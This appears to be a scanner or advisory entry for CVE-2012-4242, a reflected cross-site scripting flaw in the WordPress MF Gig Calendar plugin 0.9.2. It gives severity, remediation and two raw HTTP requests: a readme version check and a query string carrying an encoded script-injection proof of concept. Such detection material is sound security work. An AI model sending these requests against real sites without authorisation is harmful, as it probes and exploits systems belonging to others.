| Title | WordPress Plugin MF Gig Calendar 0.9.2 - Cross-Site Scripting |
|---|---|
| Author | daffainfo |
| Severity | Medium |
| Impact | Successful exploitation of this vulnerability could allow an attacker to inject malicious scripts into the website, potentially leading to session hijacking, defacement, or theft of sensitive information. |
| Remediation | Update to the latest version of the WordPress Plugin MF Gig Calendar to mitigate this vulnerability. |
| CVSS Score | 4.3 |
| EPSS Score | 0.08022 |
| CVE ID | CVE-2012-4242 |
| CWE ID | CWE-79 |
| Tags | cve cve2012 wordpress xss wp-plugin mf_gig_calendar_project vuln |
A cross-site scripting vulnerability in the MF Gig Calendar plugin 0.9.2 for WordPress allows remote attackers to inject arbitrary web script or HTML via the query string to the calendar page.
GET /wp-content/plugins/mf-gig-calendar/readme.txt HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (X11; Linux i686; rv:1.9.6.20) Gecko/ Firefox/4.0
Connection: close
Accept-Encoding: gzip
GET /?page_id=2&%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (ZZ; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/138.0.0.0 Safari/537.36
Connection: close
Accept: */*
Accept-Language: en
Accept-Encoding: gzip
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